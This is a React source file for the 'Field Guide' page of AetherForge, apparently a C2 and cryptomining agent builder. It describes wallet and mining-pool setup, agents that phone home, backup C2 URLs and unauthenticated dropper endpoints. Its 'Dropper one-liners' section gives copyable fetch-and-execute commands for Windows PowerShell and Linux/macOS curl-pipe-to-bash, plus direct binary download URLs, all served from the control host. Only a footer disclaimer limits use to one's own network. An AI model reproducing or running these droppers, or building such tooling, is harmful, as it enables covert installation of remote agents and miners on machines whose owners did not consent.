- Pool preset checkboxes with failover in Calibrate and Forge - Tier 1/2 UX: setup banner, forge next worker, LAN defaults, blueprint prompt - USB: auto-install forge tools, seed config.json, sync LAUNCH.bat
231 lines
10 KiB
TypeScript
231 lines
10 KiB
TypeScript
import { Link } from 'react-router-dom';
|
||
import NeonCard from '../components/NeonCard/NeonCard';
|
||
import {
|
||
CHEAT_SECTIONS,
|
||
PIPELINE_STEPS,
|
||
TROUBLESHOOTING,
|
||
type CheatStep,
|
||
} from '../help/cheatSheetContent';
|
||
import {
|
||
ForgeCalibrateCompare,
|
||
PipelineFlow,
|
||
RoadmapGrid,
|
||
} from '../components/Visual/VisualComponents';
|
||
import './Pages.css';
|
||
|
||
/** Inline code block with copy button */
|
||
function CodeBlock({ code }: { code: string }) {
|
||
const copy = () => navigator.clipboard?.writeText(code);
|
||
return (
|
||
<div className="guide-code-block">
|
||
<pre className="guide-code-pre">{code}</pre>
|
||
<button type="button" className="guide-code-copy" onClick={copy} title="Copy to clipboard">
|
||
Copy
|
||
</button>
|
||
</div>
|
||
);
|
||
}
|
||
|
||
/** A single step card — shows body, tips, optional code example, optional nav button */
|
||
function StepCard({ step }: { step: CheatStep }) {
|
||
return (
|
||
<div className="guide-step-card">
|
||
<div className="guide-step-num">{step.icon}</div>
|
||
<div className="guide-step-body">
|
||
<h4>{step.title} <span className="guide-step-sub">— {step.subtitle}</span></h4>
|
||
<p>{step.body}</p>
|
||
{step.tips && (
|
||
<ul className="guide-tips">
|
||
{step.tips.map((t) => <li key={t}>{t}</li>)}
|
||
</ul>
|
||
)}
|
||
{step.code && <CodeBlock code={step.code} />}
|
||
</div>
|
||
{step.route && (
|
||
<Link to={step.route} className="btn btn-outline btn-sm guide-step-btn">
|
||
{step.routeLabel || 'Open'}
|
||
</Link>
|
||
)}
|
||
</div>
|
||
);
|
||
}
|
||
|
||
/** ASCII topology diagram — home LAN control deck */
|
||
function TopologyDiagram() {
|
||
const lines = [
|
||
' ┌──────────────────────────────────────────────────────────────────────┐',
|
||
' │ Control PC (USB portable or dev install) │',
|
||
' │ │',
|
||
' │ ┌──────────────────────────────────────────────────────────────┐ │',
|
||
' │ │ LAUNCH.bat → AetherForge.exe on 0.0.0.0:8989 │ │',
|
||
' │ │ Dashboard: http://localhost:8989 │ │',
|
||
' │ │ Calibrate: set LAN public URL + wallet + TLS pool presets │ │',
|
||
' │ └────────────────────────┬─────────────────────────────────────┘ │',
|
||
' └────────────────────────────│─────────────────────────────────────────┘',
|
||
' │ LAN http://192.168.x.x:8989',
|
||
' ┌────────────────┼────────────────┐',
|
||
' ▼ ▼ ▼',
|
||
' [Worker PC] [Worker PC] [Worker PC]',
|
||
' forged agent forged agent forged agent',
|
||
' phones home phones home phones home',
|
||
];
|
||
return (
|
||
<div className="guide-topology">
|
||
<pre className="guide-topology-pre">{lines.join('\n')}</pre>
|
||
</div>
|
||
);
|
||
}
|
||
|
||
export default function GuidePage() {
|
||
return (
|
||
<div className="page fade-in command-deck">
|
||
<header className="deck-hero">
|
||
<div className="deck-hero-text">
|
||
<p className="deck-eyebrow font-tech">OPERATIONS MANUAL</p>
|
||
<h1>Field Guide</h1>
|
||
<p className="page-subtitle">
|
||
Everything you need — pipeline, network topology, one-liner commands, Fusion, AI Autonomy, and fixes for when things break.
|
||
</p>
|
||
</div>
|
||
</header>
|
||
|
||
{/* ── Live pipeline ── */}
|
||
<NeonCard accent="cyan" className="section" hud>
|
||
<h2 className="section-title font-display">
|
||
<span className="section-ornament">◆</span> Live pipeline
|
||
<span className="section-line" />
|
||
</h2>
|
||
<PipelineFlow />
|
||
</NeonCard>
|
||
|
||
{/* ── Network topology ── */}
|
||
<NeonCard accent="amber" className="section">
|
||
<h2 className="section-title font-display">
|
||
<span className="section-ornament">◆</span> Network topology
|
||
<span className="section-line" />
|
||
</h2>
|
||
<p className="form-hint" style={{ marginBottom: '0.75rem' }}>
|
||
AetherForge binds to <code className="mono-sm">0.0.0.0:8989</code>. You operate the dashboard at{' '}
|
||
<code className="mono-sm">http://localhost:8989</code> on the control PC; workers on your LAN use the
|
||
detected LAN URL baked at Forge time. Optional external tunneling can run on a separate machine later.
|
||
</p>
|
||
<TopologyDiagram />
|
||
<div className="guide-step-card" style={{ marginTop: '1rem' }}>
|
||
<div className="guide-step-num">💡</div>
|
||
<div className="guide-step-body">
|
||
<h4>Home LAN setup</h4>
|
||
<ul className="guide-tips">
|
||
<li>Run <code className="mono-sm">LAUNCH.bat</code> (USB) or <code className="mono-sm">devrun.bat</code> (dev)</li>
|
||
<li>
|
||
<Link to="/settings" className="guide-link">Calibrate</Link> → Use detected LAN → Use best defaults → Save
|
||
</li>
|
||
<li>Forge Control Endpoint: <code className="mono-sm">http://192.168.x.x:8989</code> (your LAN IP)</li>
|
||
<li>Backup C2 URLs auto-fill from other LAN IPs on the control host</li>
|
||
<li>First login: LAUNCH window or <code className="mono-sm">data\login-credentials.json</code></li>
|
||
<li>Optional: external tunnel on another machine can forward to this PC on port 8989</li>
|
||
</ul>
|
||
<CodeBlock code={`# Typical flow:
|
||
LAUNCH.bat
|
||
# Browser: http://localhost:8989
|
||
# Calibrate public URL: http://192.168.1.50:8989
|
||
# Forge control endpoint: same LAN URL`} />
|
||
</div>
|
||
</div>
|
||
</NeonCard>
|
||
|
||
{/* ── Forge vs Calibrate ── */}
|
||
<section className="section">
|
||
<h2 className="section-title font-display">
|
||
<span className="section-ornament">◆</span> Forge vs Calibrate — what goes where
|
||
<span className="section-line" />
|
||
</h2>
|
||
<ForgeCalibrateCompare />
|
||
</section>
|
||
|
||
{/* ── Dropper one-liners quick-ref ── */}
|
||
<NeonCard accent="green" className="section">
|
||
<h2 className="section-title font-display">
|
||
<span className="section-ornament">◆</span> Dropper one-liners
|
||
<span className="section-line" />
|
||
</h2>
|
||
<p className="form-hint" style={{ marginBottom: '0.75rem' }}>
|
||
Pin a build in <Link to="/builds" className="guide-link">Build Manager</Link> first — replace the host with your
|
||
Calibrate LAN URL (or your optional external tunnel URL). Terminal closes automatically after the agent launches.
|
||
</p>
|
||
<div className="guide-dropper-grid">
|
||
<div className="guide-dropper-item">
|
||
<span className="guide-dropper-os">Windows</span>
|
||
<CodeBlock code={`iex (irm 'http://192.168.1.50:8989/install.ps1')`} />
|
||
</div>
|
||
<div className="guide-dropper-item">
|
||
<span className="guide-dropper-os">Linux / macOS</span>
|
||
<CodeBlock code={`curl -sL http://192.168.1.50:8989/install.sh | bash`} />
|
||
</div>
|
||
<div className="guide-dropper-item">
|
||
<span className="guide-dropper-os">Direct binary</span>
|
||
<CodeBlock code={`http://192.168.1.50:8989/get?os=windows
|
||
http://192.168.1.50:8989/get?os=linux
|
||
http://192.168.1.50:8989/get`} />
|
||
</div>
|
||
</div>
|
||
<p className="form-hint" style={{ marginTop: '0.5rem' }}>
|
||
Dropper endpoints are unauthenticated — the URL is the gate. Dashboard requires login. Workers must be on a network that can reach your LAN control URL.
|
||
</p>
|
||
</NeonCard>
|
||
|
||
{/* ── Detailed section steps ── */}
|
||
{CHEAT_SECTIONS.filter((s) => s.steps && s.id !== 'pipeline').map((section) => (
|
||
<section key={section.id} className="section">
|
||
<h2 className="section-title font-display">
|
||
<span className="section-ornament">◆</span> {section.title}
|
||
<span className="section-line" />
|
||
</h2>
|
||
<p className="form-hint" style={{ marginBottom: '0.75rem' }}>{section.description}</p>
|
||
{section.steps?.map((step) => <StepCard key={step.id} step={step} />)}
|
||
</section>
|
||
))}
|
||
|
||
{/* ── Step-by-step pipeline detail ── */}
|
||
<section className="section">
|
||
<h2 className="section-title font-display">
|
||
<span className="section-ornament">◆</span> Step-by-step (pipeline detail)
|
||
<span className="section-line" />
|
||
</h2>
|
||
{PIPELINE_STEPS.map((step) => <StepCard key={step.id} step={step} />)}
|
||
</section>
|
||
|
||
{/* ── Troubleshooting ── */}
|
||
<section className="section">
|
||
<h2 className="section-title font-display">
|
||
<span className="section-ornament">◆</span> Troubleshooting
|
||
<span className="section-line" />
|
||
</h2>
|
||
<NeonCard accent="amber">
|
||
{TROUBLESHOOTING.map((t) => (
|
||
<div key={t.problem} className="trouble-card">
|
||
<strong>{t.problem}</strong>
|
||
<span>{t.fix}</span>
|
||
</div>
|
||
))}
|
||
</NeonCard>
|
||
</section>
|
||
|
||
{/* ── Roadmap ── */}
|
||
<section className="section">
|
||
<h2 className="section-title font-display">
|
||
<span className="section-ornament">◆</span> Feature status
|
||
<span className="section-line" />
|
||
</h2>
|
||
<p className="form-hint" style={{ marginBottom: '1rem' }}>
|
||
Shipped (high), in progress (medium), and planned (low) capabilities.
|
||
</p>
|
||
<RoadmapGrid />
|
||
</section>
|
||
|
||
<footer style={{ marginTop: '3rem', paddingTop: '1rem', borderTop: '1px solid #333', textAlign: 'center', color: '#ff4444', fontSize: '0.85rem', fontFamily: 'monospace' }}>
|
||
⚠️ DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime.
|
||
</footer>
|
||
</div>
|
||
);
|
||
}
|